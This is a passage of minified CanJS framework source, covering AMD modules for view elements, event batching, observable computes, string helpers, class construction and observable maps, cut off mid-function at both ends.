i,n=r.options.get("tags."+a,{proxyMethods:!1}),o=n||l[a],s=r.scope;if(i=o?t.__notObserve(o)(e,r):s,i&&r.subtemplate){s!==i&&(s=s.add(i));var c=r.subtemplate(s,r.options),v="string"==typeof c?t.view.frag(c):c;t.appendChild(e,v)}}},t.view.callbacks}); /*can/view/elements*/ define("can/view/elements",["can/util/util","can/view/view"],function(e){var t="undefined"!=typeof document?document:null,n=t&&function(){return 1===e.$(document.createComment("~")).length}(),o={tagToContentPropMap:{option:t&&"textContent"in document.createElement("option")?"textContent":"innerText",textarea:"value"},attrMap:e.attr.map,attrReg:/([^\s=]+)[\s]*=[\s]*/,defaultValue:e.attr.defaultValue,tagMap:{"":"span",colgroup:"col",table:"tbody",tr:"td",ol:"li",ul:"li",tbody:"tr",thead:"tr",tfoot:"tr",select:"option",optgroup:"option"},reverseTagMap:{col:"colgroup",tr:"tbody",option:"select",td:"tr",th:"tr",li:"ul"},selfClosingTags:{col:!0},getParentNode:function(e,t){return t&&11===e.parentNode.nodeType?t:e.parentNode},setAttr:e.attr.set,getAttr:e.attr.get,removeAttr:e.attr.remove,contentText:function(e){return"string"==typeof e?e:e||0===e?""+e:""},after:function(t,n){var o=t[t.length-1];o.nextSibling?e.insertBefore(o.parentNode,n,o.nextSibling,e.document):e.appendChild(o.parentNode,n,e.document)},replace:function(t,r){var a,l=t[0].parentNode;"SELECT"===l.nodeName.toUpperCase()&&l.selectedIndex>=0&&(a=l.value),o.after(t,r),e.remove(e.$(t)).length<t.length&&!n&&e.each(t,function(e){8===e.nodeType&&e.parentNode.removeChild(e)}),void 0!==a&&(l.value=a)}};return e.view.elements=o,o}); /*can/util/bind/bind*/ define("can/util/bind/bind",["can/util/util"],function(i){return i.bindAndSetup=function(){return i.addEvent.apply(this,arguments),this.__inSetup||(this._bindings?this._bindings++:(this._bindings=1,this._bindsetup&&this._bindsetup())),this},i.unbindAndTeardown=function(n,t){if(!this.__bindEvents)return this;var s=this.__bindEvents[n]||[],d=s.length;return i.removeEvent.apply(this,arguments),null===this._bindings?this._bindings=0:this._bindings=this._bindings-(d-s.length),!this._bindings&&this._bindteardown&&this._bindteardown(),this},i}); /*can/util/batch/batch*/ define("can/util/batch/batch",["can/util/can"],function(t){var a=1,n=0,c=null,e=null,s=[],u=!1;t.batch={start:function(t){if(n++,1===n){var c={events:[],callbacks:[],number:a++};s.push(c),t&&c.callbacks.push(t),e=c}},stop:function(a,l){if(a?n=0:n--,0===n){e=null;var h;if(u===!1){u=!0;for(var r,i=[];h=s.shift();){var b=h.events;i.push.apply(i,h.callbacks),c=h,t.batch.batchNum=h.number;var p;for(l&&t.batch.start(),r=0,p=b.length;p>r;r++)t.dispatch.apply(b[r][0],b[r][1]);t.batch._onDispatchedEvents(h.number),c=null,t.batch.batchNum=void 0}for(r=i.length-1;r>=0;r--)i[r]();u=!1}}},_onDispatchedEvents:function(){},trigger:function(a,n,c){a.__inSetup||(n="string"==typeof n?{type:n}:n,e?(n.batchNum=e.number,e.events.push([a,[n,c]])):n.batchNum?t.dispatch.call(a,n,c):s.length?(t.batch.start(),n.batchNum=e.number,e.events.push([a,[n,c]]),t.batch.stop()):t.dispatch.call(a,n,c))},afterPreviousEvents:function(a){var n=t.last(s);if(n){var c={};t.bind.call(c,"ready",a),n.events.push([c,[{type:"ready"},[]]])}else a({})},after:function(t){var a=e||c;a?a.callbacks.push(t):t({})}}}); /*can/compute/read*/ define("can/compute/read",["can/util/util"],function(e){var t=function(e,r,a){a=a||{};for(var o,s,i={foundObservable:!1},u=n(e,0,r,a,i),d=r.length,v=0;d>v;){s=u;for(var l=0,f=t.propertyReaders.length;f>l;l++){var c=t.propertyReaders[l];if(c.test(u)){u=c.read(u,r[v],v,a,i);break}}if(v+=1,u=n(u,v,r,a,i,s),o=typeof u,v<r.length&&(null===u||"function"!==o&&"object"!==o))return a.earlyExit&&a.earlyExit(s,v-1,u),{value:void 0,parent:s}}return void 0===u&&a.earlyExit&&a.earlyExit(s,v-1),{value:u,parent:s}},r=function(e,t){var r=t[e-1];return r&&r.at},n=function(e,r,n,a,o,s){var i;do{i=!1;for(var u=0,d=t.valueReaders.length;d>u;u++)t.valueReaders[u].test(e,r,n,a)&&(e=t.valueReaders[u].read(e,r,n,a,o,s))}while(i);return e};t.valueReaders=[{name:"compute",test:function(e,t,n,a){return e&&e.isComputed&&!r(t,n)},read:function(t,r,n,a,o){return a.readCompute===!1&&r===n.length?t:(!o.foundObservable&&a.foundObservable&&(a.foundObservable(t,r),o.foundObservable=!0),t instanceof e.Compute?t.get():t())}},{name:"function",test:function(t,r,n,a){var o=typeof t;return!("function"!==o||t.isComputed||e.Construct&&t.prototype instanceof e.Construct||e.route&&t===e.route)},read:function(t,n,a,o,s,i){return r(n,a)?n===a.length?e.proxy(t,i):t:o.callMethodsOnObservables&&e.isMapLike(i)?t.apply(i,o.args||[]):o.isArgument&&n===a.length?o.proxyMethods!==!1?e.proxy(t,i):t:t.apply(i,o.args||[])}}],t.propertyReaders=[{name:"map",test:e.isMapLike,read:function(e,t,r,n,a){!a.foundObservable&&n.foundObservable&&(n.foundObservable(e,r),a.foundObservable=!0);var o=e.attr(t.key);return void 0!==o?o:e[t.key]}},{name:"promise",test:function(t){return e.isPromise(t)},read:function(t,r,n,a,o){!o.foundObservable&&a.foundObservable&&(a.foundObservable(t,n),o.foundObservable=!0);var s=t.__observeData;return t.__observeData||(s=t.__observeData={isPending:!0,state:"pending",isResolved:!1,isRejected:!1,value:void 0,reason:void 0},e.cid(s),e.simpleExtend(s,e.event),t.then(function(e){s.isPending=!1,s.isResolved=!0,s.value=e,s.state="resolved",s.dispatch("state",["resolved","pending"])},function(e){s.isPending=!1,s.isRejected=!0,s.reason=e,s.state="rejected",s.dispatch("state",["rejected","pending"])})),e.__observe(s,"state"),r.key in s?s[r.key]:t[r.key]}},{name:"object",test:function(){return!0},read:function(e,t){return null==e?void 0:t.key in e?e[t.key]:t.at&&a[t.key]&&"@"+t.key in e?(t.at=!1,e["@"+t.key]):void 0}}];var a={index:!0,key:!0,event:!0,element:!0,viewModel:!0};return t.write=function(t,r,n,a){return a=a||{},e.isMapLike(t)?!a.isArgument&&t._data&&t._data[r]&&t._data[r].isComputed?t._data[r](n):t.attr(r,n):t[r]&&t[r].isComputed?t[r](n):void("object"==typeof t&&(t[r]=n))},t.reads=function(e){var t=[],r=0,n=!1;"@"===e.charAt(0)&&(r=1,n=!0);for(var a="",o=r;o<e.length;o++){var s=e.charAt(o);"."===s||"@"===s?"\\"!==e.charAt(o-1)?(t.push({key:a,at:n}),n="@"===s,a=""):a=a.substr(0,a.length-1)+".":a+=s}return t.push({key:a,at:n}),t},t}); /*can/compute/get_value_and_bind*/ define("can/compute/get_value_and_bind",["can/util/util"],function(e){function t(t,n,r){this.newObserved={},this.oldObserved=null,this.func=t,this.context=n,this.compute=r,this.onDependencyChange=e.proxy(this.onDependencyChange,this),this.depth=null,this.childDepths={},this.ignore=0,this.inBatch=!1,this.ready=!1,r.observedInfo=this,this.setReady=e.proxy(this._setReady,this)}e.simpleExtend(t.prototype,{getPrimaryDepth:function(){return this.compute._primaryDepth},_setReady:function(){this.ready=!0},getDepth:function(){return null!==this.depth?this.depth:this.depth=this._getDepth()},_getDepth:function(){var e=0,t=this.childDepths;for(var n in t)t[n]>e&&(e=t[n]);return e+1},addEdge:function(e){e.obj.bind(e.event,this.onDependencyChange),e.obj.observedInfo&&(this.childDepths[e.obj._cid]=e.obj.observedInfo.getDepth(),this.depth=null)},removeEdge:function(e){e.obj.unbind(e.event,this.onDependencyChange),e.obj.observedInfo&&(delete this.childDepths[e.obj._cid],this.depth=null)},dependencyChange:function(e){this.bound&&this.ready&&(void 0!==e.batchNum?e.batchNum!==this.batchNum&&(t.registerUpdate(this),this.batchNum=e.batchNum):this.updateCompute(e.batchNum))},onDependencyChange:function(e,t,n){this.dependencyChange(e,t,n)},updateCompute:function(e){if(this.bound){var t=this.value;this.getValueAndBind(),this.compute.updater(this.value,t,e)}},getValueAndBind:function(){this.bound=!0,this.oldObserved=this.newObserved||{},this.ignore=0,this.newObserved={},this.ready=!1,h.push(this),this.value=this.func.call(this.context),h.pop(),this.updateBindings(),e.batch.afterPreviousEvents(this.setReady)},updateBindings:function(){var e,t,n=this.newObserved,r=this.oldObserved;for(e in n)t=n[e],r[e]?r[e]=null:this.addEdge(t);for(e in r)t=r[e],t&&this.removeEdge(t)},teardown:function(){this.bound=!1;for(var e in this.newObserved){var t=this.newObserved[e];this.removeEdge(t)}this.newObserved={}}});var n,r=[],i=1/0,s=0;t.registerUpdate=function(e,t){var n=e.getDepth()-1,h=e.getPrimaryDepth();i=Math.min(h,i),s=Math.max(h,s);var o=r[h]||(r[h]={observeInfos:[],current:1/0,max:0}),a=o.observeInfos[n]||(o.observeInfos[n]=[]);a.push(e),o.current=Math.min(n,o.current),o.max=Math.max(n,o.max)},t.updateUntil=function(e,t){for(var h;;){if(!(s>=i&&e>=i))return;var o=r[i];if(o&&o.current<=o.max){if(o.current>t)return;var a=o.observeInfos[o.current];a&&(h=a.pop())?h.updateCompute(n):o.current++}else i++}},t.batchEnd=function(e){var t;for(n=e;;){if(!(s>=i))return r=[],i=1/0,void(s=0);var h=r[i];if(h&&h.current<=h.max){var o=h.observeInfos[h.current];o&&(t=o.pop())?t.updateCompute(e):h.current++}else i++}};var h=[];return e.__observe=function(e,t){var n=h[h.length-1];if(n&&!n.ignore){var r=t+"",i=e._cid+"|"+r;n.traps?n.traps.push({obj:e,event:r,name:i}):n.newObserved[i]||(n.newObserved[i]={obj:e,event:r})}},e.__reading=e.__observe,e.__trapObserves=function(){if(h.length){var e=h[h.length-1],t=e.traps=[];return function(){return e.traps=null,t}}return function(){return[]}},e.__observes=function(e){var t=h[h.length-1];if(t)for(var n=0,r=e.length;r>n;n++){var i=e[n],s=i.name;t.newObserved[s]||(t.newObserved[s]=i)}},e.__isRecordingObserves=function(){var e=h.length,t=h[e-1];return e&&0===t.ignore&&t},e.__notObserve=function(e){return function(){if(h.length){var t=h[h.length-1];t.ignore++;var n=e.apply(this,arguments);return t.ignore--,n}return e.apply(this,arguments)}},e.batch._onDispatchedEvents=t.batchEnd,t}); /*can/compute/proto_compute*/ define("can/compute/proto_compute",["can/util/util","can/util/bind/bind","can/compute/read","can/compute/get_value_and_bind","can/util/batch/batch"],function(t,e,n,i){t.Compute=function(e,n,i,s){t.cid(this,"compute");for(var u=[],r=0,h=arguments.length;h>r;r++)u[r]=arguments[r];var a=typeof u[1];"function"==typeof u[0]?this._setupGetterSetterFn(u[0],u[1],u[2],u[3]):u[1]?"string"===a?this._setupProperty(u[0],u[1],u[2]):"function"===a?this._setupSetter(u[0],u[1],u[2]):u[1]&&u[1].fn?this._setupAsyncCompute(u[0],u[1]):this._setupSettings(u[0],u[1]):this._setupSimpleValue(u[0]),this._args=u,this._primaryDepth=0,this.isComputed=!0},t.simpleExtend(t.Compute.prototype,{setPrimaryDepth:function(t){this._primaryDepth=t},_setupGetterSetterFn:function(e,n,i){this._set=n?t.proxy(e,n):e,this._get=n?t.proxy(e,n):e,this._canObserve=i===!1?!1:!0;var s=u(this,e,n||this);t.simpleExtend(this,s)},_setupProperty:function(e,n,i){var s,u=t.isMapLike(e),r=this;u?(s=function(t,e,n){r.updater(e,n,t.batchNum)},this.hasDependencies=!0,this._get=function(){return e.attr(n)},this._set=function(t){e.attr(n,t)}):(s=function(){r.updater(r._get(),r.value)},this._get=function(){return t.getObject(n,[e])},this._set=function(i){var s=n.split("."),u=s.pop(),r=t.getObject(s.join("."),[e]);r[u]=i}),this._on=function(u){t.bind.call(e,i||n,s),this.value=this._get()},this._off=function(){return t.unbind.call(e,i||n,s)}},_setupSetter:function(e,n,i){this.value=e,this._set=n,t.simpleExtend(this,i)},_setupSettings:function(t,e){if(this.value=t,this._set=e.set||this._set,this._get=e.get||this._get,!e.__selfUpdater){var n=this,i=this.updater;this.updater=function(){i.call(n,n._get(),n.value)}}this._on=e.on?e.on:this._on,this._off=e.off?e.off:this._off},_setupAsyncCompute:function(e,n){var i=this;this.value=e,this._setUpdates=!0,this.lastSetValue=new t.Compute(e),this._set=function(t){return t===i.lastSetValue.get()?this.value:i.lastSetValue.set(t)},this._get=function(){return r.call(n.context,i.lastSetValue.get())};var s,r=n.fn;if(0===r.length)s=u(this,r,n.context);else if(1===r.length)s=u(this,function(){return r.call(n.context,i.lastSetValue.get())},n);else{var h=this.updater,a=function(t){h.call(i,t,i.value)};this.updater=function(t){h.call(i,t,i.value)},s=u(this,function(){var t=r.call(n.context,i.lastSetValue.get(),a);return void 0!==t?t:this.value},this)}t.simpleExtend(this,s)},_setupSimpleValue:function(t){this.value=t},_bindsetup:t.__notObserve(function(){this.bound=!0,this._on(this.updater)}),_bindteardown:function(){this._off(this.updater),this.bound=!1},bind:t.bindAndSetup,unbind:t.unbindAndTeardown,clone:function(e){return e&&"function"==typeof this._args[0]?this._args[1]=e:e&&(this._args[2]=e),new t.Compute(this._args[0],this._args[1],this._args[2],this._args[3])},_on:t.k,_off:t.k,get:function(){var e=t.__isRecordingObserves();return e&&this._canObserve!==!1&&(t.__observe(this,"change"),this.bound||t.Compute.temporarilyBind(this)),this.bound?(e&&this.getDepth&&this.getDepth()>=e.getDepth()&&i.updateUntil(this.getPrimaryDepth(),this.getDepth()),this.value):this._get()},_get:function(){return this.value},set:function(t){var e=this.value,n=this._set(t,e);return this._setUpdates?this.value:this.hasDependencies?this._get():(void 0===n?this.value=this._get():this.value=n,s(this,this.value,e),this.value)},_set:function(t){return this.value=t},updater:function(t,e,n){this.value=t,s(this,t,e,n)},toFunction:function(){return t.proxy(this._computeFn,this)},_computeFn:function(t){return arguments.length?this.set(t):this.get()}});var s=function(e,n,i,s){var u=n!==i&&!(n!==n&&i!==i);u&&t.batch.trigger(e,{type:"change",batchNum:s},[n,i])},u=function(e,n,s){var u=new i(n,s,e);return{readInfo:u,_on:function(){u.getValueAndBind(),e.value=u.value,e.hasDependencies=!t.isEmptyObject(u.newObserved)},_off:function(){u.teardown()},getDepth:function(){return u.getDepth()},getPrimaryDepth:function(){return u.getPrimaryDepth()}}};t.Compute.temporarilyBind=function(e){var n=e.computeInstance||e;n.bind("change",t.k),r||(r=[],setTimeout(h,10)),r.push(n)};var r,h=function(){for(var e=0,n=r.length;n>e;e++)r[e].unbind("change",t.k);r=null};return t.Compute.async=function(e,n,i){return new t.Compute(e,{fn:n,context:i})},t.Compute.truthy=function(e){return new t.Compute(function(){var t=e.get();return"function"==typeof t&&(t=t.get()),!!t})},t.Compute.read=n,t.Compute.set=n.write,t.Compute}); /*can/compute/compute*/ define("can/compute/compute",["can/util/util","can/util/bind/bind","can/util/batch/batch","can/compute/proto_compute"],function(t,n){return t.compute=function(n,e,u,o){var c=new t.Compute(n,e,u,o),r=c.bind,i=c.unbind,p=function(t){return arguments.length?c.set(t):c.get()},m=t.cid(p,"compute"),a="__handler"+m;return p.bind=function(t,n){var e=n&&n[a];return n&&!e&&(e=n[a]=function(){n.apply(p,arguments)}),r.call(c,t,e)},p.unbind=function(t,n){var e=n&&n[a];return e?(delete n[a],c.unbind(t,e)):i.apply(c,arguments)},p.isComputed=c.isComputed,p.clone=function(u){return"function"==typeof n&&(e=u),t.compute(n,e,u,o)},p.computeInstance=c,p},t.compute.truthy=function(n){return t.compute(function(){var t=n();return"function"==typeof t&&(t=t()),!!t})},t.compute.async=function(n,e,u){return t.compute(n,{fn:e,context:u})},t.compute.read=t.Compute.read,t.compute.set=t.Compute.set,t.compute.temporarilyBind=t.Compute.temporarilyBind,t.compute}); /*can/view/scope/compute_data*/ define("can/view/scope/compute_data",["can/util/util","can/compute/compute","can/compute/get_value_and_bind"],function(e,n,t){var o=function(n){return n.reads&&1===n.reads.length&&n.root instanceof e.Map&&!e.isFunction(n.root[n.reads[0].key])},a=function(n,t,o,a,r){if(!(arguments.length>4)){if(a.root)return e.compute.read(a.root,a.reads,o).value;var u=n.read(t,o);return a.scope=u.scope,a.initialValue=u.value,a.reads=u.reads,a.root=u.rootObserve,a.setRoot=u.setRoot,u.value}var d=a.root||a.setRoot;if(d)if(d.isComputed)d(r);else if(a.reads.length){var c=a.reads.length-1,i=a.reads.length?e.compute.read(d,a.reads.slice(0,c)).value:d;e.compute.set(i,a.reads[c].key,r,o)}};return function(n,r,u){u=u||{args:[]};var d={},c=function(e){return arguments.length?a(n,r,u,d,e):a(n,r,u,d)},i=e.compute(void 0,{on:function(){s.getValueAndBind(),o(d)&&(s.dependencyChange=function(e,n){return"function"!=typeof n?this.newVal=n:(s.dependencyChange=t.prototype.dependencyChange,s.getValueAndBind=t.prototype.getValueAndBind),t.prototype.dependencyChange.call(this,e)},s.getValueAndBind=function(){this.value=this.newVal}),i.computeInstance.value=s.value,i.computeInstance.hasDependencies=!e.isEmptyObject(s.newObserved)},off:function(){s.dependencyChange=t.prototype.dependencyChange,s.getValueAndBind=t.prototype.getValueAndBind,s.teardown()},set:c,get:c,__selfUpdater:!0}),s=new t(c,null,i.computeInstance);return d.compute=i,d}}); /*can/util/string/string*/ define("can/util/string/string",["can/util/util"],function(e){var r=/_|-/,n=/\=\=/,t=/([A-Z]+)([A-Z][a-z])/g,a=/([a-z\d])([A-Z])/g,u=/([a-z\d])([A-Z])/g,i=/\{([^\}]+)\}/g,c=/"/g,o=/'/g,l=/-+(.)?/g,p=/[a-z][A-Z]/g,f=function(e,r,n){var t=e[r];return void 0===t&&n===!0&&(t=e[r]={}),t},g=function(e){return/^f|^o/.test(typeof e)},d=function(e){var r=null===e||void 0===e||isNaN(e)&&""+e=="NaN";return""+(r?"":e)};return e.extend(e,{esc:function(e){return d(e).replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(c,"&#34;").replace(o,"&#39;")},getObject:function(r,n,t){var a,u,i,c,o=r?r.split("."):[],l=o.length,p=0;if(n=e.isArray(n)?n:[n||window],c=n.length,!l)return n[0];for(p;c>p;p++){for(a=n[p],i=void 0,u=0;l>u&&g(a);u++)i=a,a=f(i,o[u]);if(void 0!==i&&void 0!==a)break}if(t===!1&&void 0!==a&&delete i[o[u-1]],t===!0&&void 0===a)for(a=n[0],u=0;l>u&&g(a);u++)a=f(a,o[u],!0);return a},capitalize:function(e,r){return e.charAt(0).toUpperCase()+e.slice(1)},camelize:function(e){return d(e).replace(l,function(e,r){return r?r.toUpperCase():""})},hyphenate:function(e){return d(e).replace(p,function(e,r){return e.charAt(0)+"-"+e.charAt(1).toLowerCase()})},underscore:function(e){return e.replace(n,"/").replace(t,"$1_$2").replace(a,"$1_$2").replace(u,"_").toLowerCase()},sub:function(r,n,t){var a=[];return r=r||"",a.push(r.replace(i,function(r,u){var i=e.getObject(u,n,t===!0?!1:void 0);return void 0===i||null===i?(a=null,""):g(i)&&a?(a.push(i),""):""+i})),null===a?a:a.length<=1?a[0]:a},replacer:i,undHash:r}),e}); /*can/construct/construct*/ define("can/construct/construct",["can/util/string/string"],function(t){var n,e=0;try{Object.getOwnPropertyDescriptor({}),n=!0}catch(r){n=!1}var o=function(t,n){var e=Object.getOwnPropertyDescriptor(t,n);return e&&(e.get||e.set)?e:null},s=function(n,e,r){r=r||n;var s;for(var i in n)(s=o(n,i))?this._defineProperty(r,e,i,s):t.Construct._overwrite(r,e,i,n[i])},i=function(n,e,r){r=r||n;for(var o in n)t.Construct._overwrite(r,e,o,n[o])};return t.Construct=function(){return arguments.length?t.Construct.extend.apply(t.Construct,arguments):void 0},t.extend(t.Construct,{constructorExtends:!0,newInstance:function(){var t,n=this.instance();return n.setup&&(n.__inSetup=!0,t=n.setup.apply(n,arguments),delete n.__inSetup),n.init&&n.init.apply(n,t||arguments),n},_inherit:n?s:i,_defineProperty:function(t,n,e,r){Object.defineProperty(t,e,r)},_overwrite:function(t,n,e,r){t[e]=r},setup:function(n,e){this.defaults=t.extend(!0,{},n.defaults,this.defaults)},instance:function(){e=1;var t=new this;return e=0,t},extend:function(n,r,o){function s(){return e?void 0:this.constructor!==a&&arguments.length&&a.constructorExtends?a.extend.apply(a,arguments):a.newInstance.apply(a,arguments)}var i=n,u=r,c=o;"string"!=typeof i&&(c=u,u=i,i=null),c||(c=u,u=null),c=c||{};var a,p,f,l,h,d,y,m,g,v=this,_=this.prototype;g=this.instance(),t.Construct._inherit(c,_,g),i?(p=i.split("."),y=p.pop()):u&&u.shortName?y=u.shortName:this.shortName&&(y=this.shortName),"undefined"==typeof constructorName&&(a=function(){return s.apply(this,arguments)});for(d in v)v.hasOwnProperty(d)&&(a[d]=v[d]);t.Construct._inherit(u,v,a),i&&(f=t.getObject(p.join("."),window,!0),m=f,l=t.underscore(i.replace(/\./g,"_")),h=t.underscore(y),f[y]=a),t.extend(a,{constructor:a,prototype:g,namespace:m,_shortName:h,fullName:i,_fullName:l}),void 0!==y&&(a.shortName=y),a.prototype.constructor=a;var w=[v].concat(t.makeArray(arguments)),C=a.setup.apply(a,w);return a.init&&a.init.apply(a,C||w),a}}),t.Construct.prototype.setup=function(){},t.Construct.prototype.init=function(){},t.Construct}); /*can/map/bubble*/ define("can/map/bubble",["can/util/util"],function(n){var i=n.bubble={bind:function(n,e){if(!n.__inSetup){var b,t=i.events(n,e),r=t.length;n._bubbleBindings||(n._bubbleBindings={});for(var u=0;r>u;u++)b=t[u],n._bubbleBindings[b]?n._bubbleBindings[b]++:(n._bubbleBindings[b]=1,i.childrenOf(n,b))}},unbind:function(e,b){for(var t,r=i.events(e,b),u=r.length,d=0;u>d;d++)t=r[d],e._bubbleBindings&&e._bubbleBindings[t]--,e._bubbleBindings&&!e._bubbleBindings[t]&&(delete e._bubbleBindings[t],i.teardownChildrenFrom(e,t),n.isEmptyObject(e._bubbleBindings)&&delete e._bubbleBindings)},add:function(e,b,t){if(b instanceof n.Map&&e._bubbleBindings)for(var r in e._bubbleBindings)e._bubbleBindings[r]&&(i.teardownFromParent(e,b,r),i.toParent(b,e,t,r))},addMany:function(n,e){for(var b=0,t=e.length;t>b;b++)i.add(n,e[b],b)},remove:function(e,b){if(b instanceof n.Map&&e._bubbleBindings)for(var t in e._bubbleBindings)e._bubbleBindings[t]&&i.teardownFromParent(e,b,t)},removeMany:function(n,e){for(var b=0,t=e.length;t>b;b++)i.remove(n,e[b])},set:function(e,b,t,r){return n.isMapLike(t)&&i.add(e,t,b),n.isMapLike(r)&&i.remove(e,r),t},events:function(n,i){return n.constructor._bubbleRule(i,n)},toParent:function(i,e,b,t){n.listenTo.call(e,i,t,function(){var r=n.makeArray(arguments),u=r.shift();r[0]=(n.List&&e instanceof n.List?e.indexOf(i):b)+(r[0]?"."+r[0]:""),u.triggeredNS=u.triggeredNS||{},u.triggeredNS[e._cid]||(u.triggeredNS[e._cid]=!0,n.trigger(e,u,r),"change"===t&&n.trigger(e,r[0],[r[2],r[3]]))})},childrenOf:function(n,e){n._each(function(b,t){b&&b.bind&&i.toParent(b,n,t,e)})},teardownFromParent:function(i,e,b){e&&e.unbind&&n.stopListening.call(i,e,b)},teardownChildrenFrom:function(n,e){n._each(function(b){i.teardownFromParent(n,b,e)})},isBubbling:function(n,i){return n._bubbleBindings&&n._bubbleBindings[i]}};return i}); /*can/util/object/isplain/isplain*/ define("can/util/object/isplain/isplain",["can/util/can"],function(t){var n=Object.prototype.hasOwnProperty,r=function(t){return null!==t&&t==t.window},o=function(t){if(!t||"object"!=typeof t||t.nodeType||r(t))return!1;try{if(t.constructor&&!n.call(t,"constructor")&&!n.call(t.constructor.prototype,"isPrototypeOf"))return!1}catch(o){return!1}var c;for(c in t);return void 0===c||n.call(t,c)};return t.isPlainObject=o,t}); /*can/map/map_helpers*/ define("can/map/map_helpers",["can/util/util","can/util/object/isplain/isplain"],function(n){var t={attrParts:function(n,t){return t?[n]:"object"==typeof n?n:(""+n).split(".")},canMakeObserve:function(t){return t&&!n.isPromise(t)&&(n.isArray(t)||n.isPlainObject(t))},serialize:function(){var e=null;return function(i,r,a){var u=n.cid(i),c=!1;return e||(c=!0,e={attr:{},serialize:{}}),e[r][u]=a,i.each(function(u,c){var o,d=n.isMapLike(u),l=d&&e[r][n.cid(u)];o=l?l:i["___"+r]?i["___"+r](c,u):t.getValue(i,c,u,r),void 0!==o&&(a[c]=o)}),c&&(e=null),a}}(),getValue:function(t,e,i,r){return n.isMapLike(i)?i[r]():i},define:null,addComputedAttr:function(n,t,e){n._computedAttrs[t]={compute:e,count:0,handler:function(e,i,r){n._triggerChange(t,"set",i,r,e.batchNum)}}},addToMap:function(t,r){var a;e||(a=i,e={});var u=t._cid,c=n.cid(t);return e[c]||(e[c]={obj:t,instance:r,added:!u}),a},getMapFromObject:function(n){return e&&e[n._cid]&&e[n._cid].instance}},e=null,i=function(){for(var n in e)e[n].added&&delete e[n].obj._cid;e=null};return t}); /*can/map/map*/ define("can/map/map",["can/util/util","can/util/bind/bind","can/map/bubble","can/map/map_helpers","can/construct/construct","can/util/batch/batch","can/compute/get_value_and_bind"],function(t,e,i,n){var r={constructor:!0},s=t.Map=t.Construct.extend({setup:function(){if(t.Construct.setup.apply(this,arguments),this._computedPropertyNames=[],t.Map){this.defaults||(this.defaults={});for(var e in this.prototype)"define"!==e&&"constructor"!==e&&("function"!=typeof this.prototype[e]||this.prototype[e].prototype instanceof t.Construct)?this.defaults[e]=this.prototype[e]:this.prototype[e].isComputed&&this._computedPropertyNames.push(e);n.define&&n.define(this)}!t.List||this.prototype instanceof t.List||(this.List=s.List.extend({Map:this},{}))},shortName:"Map",_bubbleRule:function(t){return"change"===t||t.indexOf(".")>=0?["change"]:[]},bind:t.bindAndSetup,unbind:t.unbindAndTeardown,id:"id",keys:function(e){var i=[];t.__observe(e,"__keys");for(var n in e._data)i.push(n);return i}},{setup:function(e){e instanceof t.Map&&(e=e.serialize()),this._data={},t.cid(this,".map"),this._setupComputedProperties();var i=e&&n.addToMap(e,this),r=this._setupDefaults(e),s=t.extend(t.extend(!0,{},r),e);this.attr(s),i&&i()},_setupComputedProperties:function(){this._computedAttrs={};for(var t=this.constructor._computedPropertyNames,e=0,i=t.length;i>e;e++){var r=t[e];n.addComputedAttr(this,r,this[r].clone(this))}},_setupDefaults:function(){return this.constructor.defaults||{}},attr:function(t,e){var i=typeof t;return void 0===t?this._getAttrs():"string"!==i&&"number"!==i?this._setAttrs(t,e):1===arguments.length?this._get(t+""):(this._set(t+"",e),this)},_get:function(e){var i=e.indexOf(".");if(i>=0){var n=this.___get(e);if(void 0!==n)return t.__observe(this,e),n;var r=e.substr(0,i),s=e.substr(i+1),o=this.__get(r);return o&&o._get?o._get(s):void 0}return this.__get(e)},__get:function(e){return r[e]||this._computedAttrs[e]||t.__observe(this,e),this.___get(e)},___get:function(t){if(void 0!==t){var e=this._computedAttrs[t];return e&&e.compute?e.compute():this._data.hasOwnProperty(t)?this._data[t]:void 0}return this._data},_set:function(e,i,n){var r,s=e.indexOf(".");if(s>=0&&!n){var o=e.substr(0,s),a=e.substr(s+1);if(r=this.__inSetup?void 0:this.___get(o),!t.isMapLike(r))throw new Error("can.Map: Object does not exist");r._set(a,i)}else r=this.__inSetup?void 0:this.___get(e),this.__convert&&(i=this.__convert(e,i)),this.__set(e,this.__type(i,e),r)},__type:function(e,i){if("object"==typeof e&&!(e instanceof t.Map)&&n.canMakeObserve(e)){var r=n.getMapFromObject(e);if(r)return r;if(t.isArray(e)){var s=t.List;return new s(e)}var o=this.constructor.Map||t.Map;return new o(e)}return e},__set:function(t,e,n){if(e!==n){var r=this._computedAttrs[t],s=r||void 0!==n||this.___get().hasOwnProperty(t)?"set":"add";this.___set(t,"object"==typeof e?i.set(this,t,e,n):e),r&&r.count||this._triggerChange(t,s,e,n),"object"==typeof n&&i.teardownFromParent(this,n)}},___set:function(t,e){var i=this._computedAttrs[t];i&&i.compute?i.compute(e):this._data[t]=e,"function"==typeof this.constructor.prototype[t]||i||(this[t]=e)},removeAttr:function(t){return this._remove(t)},_remove:function(t){var e=n.attrParts(t),i=e.shift(),r=this.___get(i);return e.length&&r?r.removeAttr(e):("string"==typeof t&&~t.indexOf(".")&&(i=t),this.__remove(i,r),r)},__remove:function(t,e){t in this._data&&(this.___remove(t),this._triggerChange(t,"remove",void 0,e))},___remove:function(t){delete this._data[t],t in this.constructor.prototype||delete this[t]},___serialize:function(t,e){return n.getValue(this,t,e,"serialize")},_getAttrs:function(){return n.serialize(this,"attr",{})},_setAttrs:function(e,i){e=t.simpleExtend({},e);var r,s,o=this;t.batch.start(),this._each(function(r,a){if("_cid"!==a){if(s=e[a],void 0===s)return void(i&&o.removeAttr(a));o.__convert&&(s=o.__convert(a,s)),t.isMapLike(r)&&n.canMakeObserve(s)?r.attr(s,i):r!==s&&o.__set(a,o.__type(s,a),r),delete e[a]}});for(r in e)"_cid"!==r&&(s=e[r],this._set(r,s,!0));return t.batch.stop(),this},serialize:function(){return n.serialize(this,"serialize",{})},_triggerChange:function(e,n,r,s,o){i.isBubbling(this,"change")&&t.batch.trigger(this,{type:"change",target:this,batchNum:o},[e,n,r,s]),t.batch.trigger(this,{type:e,target:this,batchNum:o},[r,s]),("remove"===n||"add"===n)&&t.batch.trigger(this,{type:"__keys",target:this,batchNum:o})},_bindsetup:function(){},_bindteardown:function(){},one:t.one,bind:function(e,n){var r=this._computedAttrs&&this._computedAttrs[e];return r&&r.compute&&(r.count?r.count++:(r.count=1,r.compute.bind("change",r.handler))),i.bind(this,e),t.bindAndSetup.apply(this,arguments)},unbind:function(e,n){var r=this._computedAttrs&&this._computedAttrs[e];return 